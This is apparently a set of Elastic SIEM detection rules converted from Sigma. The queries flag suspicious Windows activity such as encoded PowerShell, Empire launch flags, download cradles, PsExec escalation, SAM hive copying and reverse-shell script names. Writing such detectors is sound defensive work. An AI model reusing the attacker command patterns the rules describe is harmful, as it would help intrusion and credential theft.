{"description":"Detects suspicious file execution by wscript and cscript Author: Michael Haag. License: ","enabled":false,"false_positives":["Will need to be tuned. I recommend adding the user profile path in CommandLine if it is getting too noisy."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1e33157c-53b1-41ad-bbcc-780b80b58288","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"WSF/JSE/JS/VBA/VBE File Execution","query":"(process.executable:(*\\\\wscript.exe OR *\\\\cscript.exe) AND process.command_line:(*.jse* OR *.vbe* OR *.js* OR *.vba*))","meta":{"from":"1m"},"severity":"medium","tags":["T1059","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious flags used by PsExec and PAExec but no usual program name in command line Author: Florian Roth. License: ","enabled":false,"false_positives":["Weird admins that rename their tools","Software companies that bundle PsExec/PAExec with their software and rename it, so that it is less embarrassing"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"44464f38-cc8a-f0b4-01ef-17fd19e7c39c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"PsExec/PAExec Flags","query":"((process.command_line:(*\\ \\-s\\ cmd.exe OR *\\ \\-s\\ \\-i\\ cmd.exe) OR (process.command_line:*accepteula* AND process.command_line:*\\ \\-u\\ * AND process.command_line:*\\ \\-p\\ * AND process.command_line:*\\ \\\\\\*)) AND (NOT (process.command_line:(*paexec* OR *PsExec*))))","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects suspicious flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights Author: Florian Roth. License: ","enabled":false,"false_positives":["Admins that use PsExec or PAExec to escalate to the SYSTEM account for maintenance purposes (rare)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8834e2f7-6b4b-4f09-8906-d2276470ee23","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"PsExec/PAExec Escalation to LOCAL SYSTEM","query":"(process.command_line:(*PsExec* OR *PAExec* OR *accepteula* OR *cmd\\ \\/c\\ *) AND process.command_line:*\\ \\-s\\ cmd.exe)","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects suspicious FromBase64String expressions in command line arguments Author: Florian Roth. License: ","enabled":false,"false_positives":["Administrative script libraries"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ee2fb000-b546-41d5-974e-846ccda4d134","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"FromBase64String Command Line","query":"process.command_line:*\\:\\:FromBase64String\\(*","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059","T1140"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""},{"id":"T1140","name":"Deobfuscate/Decode Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"023394c4-29d5-46ab-92b8-6a534c6f447b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious HWP Sub Processes","query":"(process.parent.executable:*\\\\Hwp.exe AND process.executable:*\\\\gbb.exe)","meta":{"from":"1m"},"severity":"high","tags":["Initial Access","T1059","T1203","T1566"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1566","name":"Phishing","reference":""}]},{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1203","name":"Exploitation for Client Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious IIS native-code module installations via command line Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown as it may vary from organisation to arganisation how admins use to install IIS modules"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9465ddf4-f9e4-4ebd-8d98-702df3a93239","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"IIS Native-Code Module Command Line Installation","query":"(process.executable:*\\\\appcmd.exe AND process.command_line:*install* AND process.command_line:*module* AND process.command_line:*\\/name\\:*)","meta":{"from":"1m"},"severity":"medium","tags":["T1505"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1505","name":"Server Software Component","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious inline VBScript keywords as used by UNC2452 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"acfad308-dc49-6fad-1a44-c41bbc6b8ef3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious VBScript UN2452 Pattern","query":"((process.command_line:*Execute* AND process.command_line:*CreateObject* AND process.command_line:*RegRead* AND process.command_line:*window.close* AND process.command_line:*\\\\Microsoft\\\\Windows\\\\CurrentVersion*) AND (NOT (process.command_line:*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run*)))","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database). Used to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens. Author: Roberto Rodriguez @Cyb3rWard0g. License: ","enabled":false,"false_positives":["Processes in the filter condition"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8e93e526-16cf-7f9c-f0e8-1e8d74b5a8f3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"ADFS Database Named Pipe Connection","query":"(file.name:\"\\\\MICROSOFT##WID\\\\tsql\\\\query\" AND (NOT (process.executable:(*\\\\Microsoft.IdentityServer.ServiceHost.exe OR *\\\\Microsoft.Identity.Health.Adfs.PshSurrogate.exe OR *\\\\AzureADConnect.exe OR *\\\\Microsoft.Tri.Sensor.exe OR *\\\\wsmprovhost.exe OR *\\\\mmc.exe OR *\\\\sqlservr.exe OR *\\\\tssdis.exe))))","meta":{"from":"1m"},"severity":"critical","tags":["T1005"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1005","name":"Data from Local System","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious LOLBIN AccCheckConsole execution with parameters as used to load an arbitrary DLL Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate use of the UI Accessibility Checker"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0f6da907-5854-4be6-859a-e9958747b0aa","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious LOLBIN AccCheckConsole","query":"(process.executable:*\\\\AccCheckConsole.exe AND process.command_line:*\\ \\-window\\ * AND process.command_line:*.dll*)","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects suspicious mshta process patterns Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b177ca03-5270-1322-3b4e-281b120e5bcf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious MSHTA Process Patterns","query":"(process.executable:*\\\\mshta.exe AND (((process.parent.executable:(*\\\\cmd.exe OR *\\\\powershell.exe) OR process.command_line:(*\\\\AppData\\\\Local* OR *C\\:\\\\Windows\\\\Temp* OR *C\\:\\\\Users\\\\Public*)) OR (NOT (process.executable:(*C\\:\\\\Windows\\\\System32* OR *C\\:\\\\Windows\\\\SysWOW64*)))) OR (NOT (process.command_line:(*.htm* OR *.hta*) AND process.command_line:(*mshta.exe OR *mshta)))))","meta":{"from":"1m"},"severity":"high","tags":["T1106"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1106","name":"Native API","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious msiexec process starts in an uncommon directory Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5dc2765a-59ff-e513-96b0-2162f4bc012a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious MsiExec Directory","query":"(process.executable:*\\\\msiexec.exe AND (NOT (process.executable:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* OR C\\:\\\\Windows\\\\WinSxS\\\\*))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious msiexec process starts with web addresses as parameter Author: Florian Roth. License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f7b5f842-a6af-4da5-9e95-e32478f3cd2f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"MsiExec Web Install","query":"(process.command_line:*\\ msiexec* AND process.command_line:*\\:\\/\\/*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1105","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious network connection by Notepad Author: EagleEye Team. License: ","enabled":false,"false_positives":["None observed so far"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2c9c57d7-546b-7de0-8440-6d065134264f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Notepad Making Network Connection","query":"(process.executable:*\\\\notepad.exe AND (NOT (destination.port:\"9100\")))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious new RUN key element pointing to an executable in a suspicious folder Author: Florian Roth, Markus Neis, Sander Wiebing. License: ","enabled":false,"false_positives":["Software using weird folders for updates"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"02d5d350-0950-b7c9-78cf-99dd3ae3ae57","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"New RUN Key Pointing to Suspicious Folder","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\* OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\*)) AND (winlog.event_data.Details:(*C\\:\\\\Windows\\\\Temp\\\\* OR *C\\:\\\\$Recycle.bin\\\\* OR *C\\:\\\\Temp\\\\* OR *C\\:\\\\Users\\\\Public\\\\* OR *C\\:\\\\Users\\\\Default\\\\* OR *C\\:\\\\Users\\\\Desktop\\\\* OR *\\\\AppData\\\\Local\\\\Temp\\\\*) OR winlog.event_data.Details:(%Public%\\\\* OR wscript* OR cscript*)))","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation. Author: Ilyas Ochkov, oscd.community. License: ","enabled":false,"false_positives":["Other browsers"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e54979bd-c5f9-4d6c-967b-a04b19ac4c74","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Outbound Kerberos Connection","query":"((destination.port:\"88\" AND winlog.event_data.Initiated:\"true\") AND (NOT (process.executable:(*\\\\lsass.exe OR *\\\\opera.exe OR *\\\\chrome.exe OR *\\\\firefox.exe OR *\\\\tomcat\\\\bin\\\\tomcat8.exe))))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","Lateral Movement","T1550","T1558"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1558","name":"Steal or Forge Kerberos Tickets","reference":""}]},{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1550","name":"Use Alternate Authentication Material","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc). Might be used by ransomwares during the attack (seen by NotPetya and others). Author: Ecco, E.M. Anhaus, oscd.community. License: ","enabled":false,"false_positives":["Admin activity","Scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"add64136-62e5-48ea-807e-88638d02df1e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Fsutil Suspicious Invocation","query":"((process.executable:*\\\\fsutil.exe OR winlog.event_data.OriginalFileName:\"fsutil.exe\") AND process.command_line:(*deletejournal* OR *createjournal*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1070"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate tools that accidentally match on the searched patterns"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"220c6688-7b90-0e2f-2ed0-6e3d602be09e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Program Names","query":"(process.executable:*\\\\CVE\\-202* OR process.executable:(*\\\\poc.exe OR *\\\\artifact.exe OR *\\\\artifact64.exe OR *\\\\artifact_protected.exe OR *\\\\artifact32.exe OR *\\\\artifact32big.exe OR *obfuscated.exe OR *obfusc.exe OR *\\\\meterpreter) OR process.command_line:(*inject.ps1* OR *Invoke\\-CVE* OR *pupy.ps1* OR *payload.ps1* OR *beacon.ps1* OR *PowerView.ps1* OR *bypass.ps1* OR *obfuscated.ps1* OR *obfusc.ps1* OR *obfus.ps1* OR *obfs.ps1* OR *evil.ps1* OR *MiniDogz.ps1* OR *_enc.ps1* OR *\\\\shell.ps1* OR *\\\\rshell.ps1* OR *revshell.ps1* OR *\\\\av.ps1* OR *\\\\av_test.ps1* OR *adrecon.ps1* OR *mimikatz.ps1* OR *\\\\PowerUp_* OR *powerup.ps1* OR *\\\\Temp\\\\a.ps1* OR *\\\\Temp\\\\p.ps1* OR *\\\\Temp\\\\1.ps1* OR *Hound.ps1* OR *encode.ps1* OR *powercat.ps1*))","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects suspicious Plink tunnel remote forarding to a local port Author: Florian Roth. License: ","enabled":false,"false_positives":["Administrative activity using a remote port forwarding to a local port"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"93510b8a-ff35-6197-3189-7e72ce8da7de","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Plink Remote Forwarding","query":"(winlog.event_data.Description:\"Command\\-line\\ SSH,\\ Telnet,\\ and\\ Rlogin\\ client\" AND process.command_line:*\\ \\-R\\ *)","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1021","T1572"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious powershell command line parameters used in Empire Author: Florian Roth. License: ","enabled":false,"false_positives":["Other tools that incidentally use the same command line parameters"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"df982497-904b-224d-68a1-93db4ff32313","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Empire PowerShell Launch Parameters","query":"process.command_line:(*\\ \\-NoP\\ \\-sta\\ \\-NonI\\ \\-W\\ Hidden\\ \\-Enc\\ * OR *\\ \\-noP\\ \\-sta\\ \\-w\\ 1\\ \\-enc\\ * OR *\\ \\-NoP\\ \\-NonI\\ \\-W\\ Hidden\\ \\-enc\\ * OR *\\ \\-noP\\ \\-sta\\ \\-w\\ 1\\ \\-enc* OR *\\ \\-enc\\ \\ SQB* OR *\\ \\-nop\\ \\-exec\\ bypass\\ \\-EncodedCommand\\ *)","meta":{"from":"1m"},"severity":"critical","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious PowerShell download command Author: Florian Roth. License: ","enabled":false,"false_positives":["PowerShell scripts that download content from the Internet"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"eac9e199-0ed5-407a-6dc3-919c9f4cec01","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious PowerShell Download","query":"(\"System.Net.WebClient\" AND (*.DownloadFile\\(* OR *.DownloadString\\(*))","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious PowerShell invocation command parameters Author: Florian Roth (rule), Jonhnathan Ribeiro. License: ","enabled":false,"false_positives":["Penetration tests"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4952abd3-9818-24f7-c18f-3534c6d6ad46","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious PowerShell Invocations - Specific","query":"(((((\"\\ \\-w\\ \" AND \"hidden\" AND ((\"\\-nop\" AND \"\\ \\-c\\ \" AND (\"\\[Convert\\]\\:\\:FromBase64String\" OR (*\\-noni* AND *iex* AND *New\\-Object*))) OR (*\\-ep* AND *bypass* AND *\\-Enc*))) OR (*powershell* AND *reg* AND *add* AND *HKCU\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run*)) OR (*bypass* AND *\\-noprofile* AND *\\-windowstyle* AND *hidden* AND *new\\-object* AND *system.net.webclient* AND *.download*)) OR (*iex* AND *New\\-Object* AND *Net.WebClient* AND *.Download*)) AND (NOT ((*\$New\\-Object\\ System.Net.WebClient\$.DownloadString\$'https\\:\\/\\/community.chocolatey.org\\/install.ps1* OR *\\(New\\-Object\\ System.Net.WebClient\$.DownloadString\$'https\\:\\/\\/chocolatey.org\\/install.ps1'\$* OR *Write\\-ChocolateyWarning*))))","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious PowerShell invocation command parameters Author: Florian Roth (rule). License: ","enabled":false,"false_positives":["Penetration tests","Very special / sneaky PowerShell scripts"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"64ce4c5a-7e96-a5f1-9310-3b7810c97dba","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious PowerShell Invocations - Generic","query":"((*\\ \\-enc\\ * OR *\\ \\-EncodedCommand\\ *) AND (*\\ \\-w\\ hidden\\ * OR *\\ \\-window\\ hidden\\ * OR *\\ \\-windowstyle\\ hidden\\ *) AND (*\\ \\-noni\\ * OR *\\ \\-noninteractive\\ *))","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious PowerShell invocation with a parameter substring Author: Florian Roth (rule), Daniel Bohannon (idea), Roberto Rodriguez (Fix). License: ","enabled":false,"false_positives":["Penetration tests"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"bc9f7676-b51e-3a9e-0e93-9a9c926c7072","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious PowerShell Parameter Substring","query":"(process.executable:*\\\\Powershell.exe AND process.command_line:(*\\ \\-windowstyle\\ h\\ * OR *\\ \\-windowstyl\\ h* OR *\\ \\-windowsty\\ h* OR *\\ \\-windowst\\ h* OR *\\ \\-windows\\ h* OR *\\ \\-windo\\ h* OR *\\ \\-wind\\ h* OR *\\ \\-win\\ h* OR *\\ \\-wi\\ h* OR *\\ \\-win\\ h\\ * OR *\\ \\-win\\ hi\\ * OR *\\ \\-win\\ hid\\ * OR *\\ \\-win\\ hidd\\ * OR *\\ \\-win\\ hidde\\ * OR *\\ \\-NoPr\\ * OR *\\ \\-NoPro\\ * OR *\\ \\-NoProf\\ * OR *\\ \\-NoProfi\\ * OR *\\ \\-NoProfil\\ * OR *\\ \\-nonin\\ * OR *\\ \\-nonint\\ * OR *\\ \\-noninte\\ * OR *\\ \\-noninter\\ * OR *\\ \\-nonintera\\ * OR *\\ \\-noninterac\\ * OR *\\ \\-noninteract\\ * OR *\\ \\-noninteracti\\ * OR *\\ \\-noninteractiv\\ * OR *\\ \\-ec\\ * OR *\\ \\-encodedComman\\ * OR *\\ \\-encodedComma\\ * OR *\\ \\-encodedComm\\ * OR *\\ \\-encodedCom\\ * OR *\\ \\-encodedCo\\ * OR *\\ \\-encodedC\\ * OR *\\ \\-encoded\\ * OR *\\ \\-encode\\ * OR *\\ \\-encod\\ * OR *\\ \\-enco\\ * OR *\\ \\-en\\ *))","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious powershell invocations from interpreters or unusual programs Author: Florian Roth. License: ","enabled":false,"false_positives":["Microsoft Operations Manager (MOM)","Other scripts"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"95eadcb2-92e4-4ed1-9031-92547773a6db","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious PowerShell Invocation Based on Parent Process","query":"((process.parent.executable:(*\\\\wscript.exe OR *\\\\cscript.exe) AND process.executable:*\\\\powershell.exe) AND (NOT (process.working_directory:*\\\\Health\\ Service\\ State\\\\*)))","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet) Author: Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ca2092a1-c273-4878-9b4b-0d60115bf5ea","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Encoded PowerShell Command Line","query":"(((process.command_line:*\\ \\-e* AND process.command_line:*\\ JAB* AND process.command_line:*\\ \\-w* AND process.command_line:*\\ hidden\\ *) OR (process.command_line:*\\ \\-e* AND process.command_line:(*\\ BA\\^J* OR *\\ SUVYI* OR *\\ SQBFAFgA* OR *\\ aQBlAHgA* OR *\\ aWV4I* OR *\\ IAA* OR *\\ IAB* OR *\\ UwB* OR *\\ cwB*)) OR process.command_line:*.exe\\ \\-ENCOD\\ *) AND (NOT (process.command_line:*\\ \\-ExecutionPolicy* AND process.command_line:*remotesigned\\ *)))","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands. Author: Sami Ruohonen, Harish Segar (improvement), Tim Shelton. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"bb780e0c-16cf-4383-8383-1e5471db6cf9","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious XOR Encoded PowerShell Command Line","query":"(((winlog.event_data.Description:\"Windows\\ PowerShell\" OR Product:\"PowerShell\\ Core\\ 6\") AND process.command_line:(*bxor* OR *\\-join\\ * OR *\\-join'* OR *\\-join\\\"* OR *\\-join`* OR *char*)) AND (NOT (process.parent.executable:\"C\\:\\\\Program\\ Files\\\\Amazon\\\\SSM\\\\ssm\\-document\\-worker.exe\")))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1027","T1059","T1140"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""},{"id":"T1140","name":"Deobfuscate/Decode Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious PowerShell scripts accessing SAM hives Author: Florian Roth. License: ","enabled":false,"false_positives":["Some rare backup scenarios","PowerShell scripts fixing HiveNightmare / SeriousSAM ACLs"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4147d63a-163a-ac3c-449c-93586a539e34","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"PowerShell SAM Copy","query":"(process.command_line:*\\\\HarddiskVolumeShadowCopy* AND process.command_line:*ystem32\\\\config\\\\sam* AND process.command_line:(*Copy\\-Item* OR *cp\\ $_.* OR *cpi\\ $_.* OR *copy\\ $_.* OR *.File\\]\\:\\:Copy\\(*))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
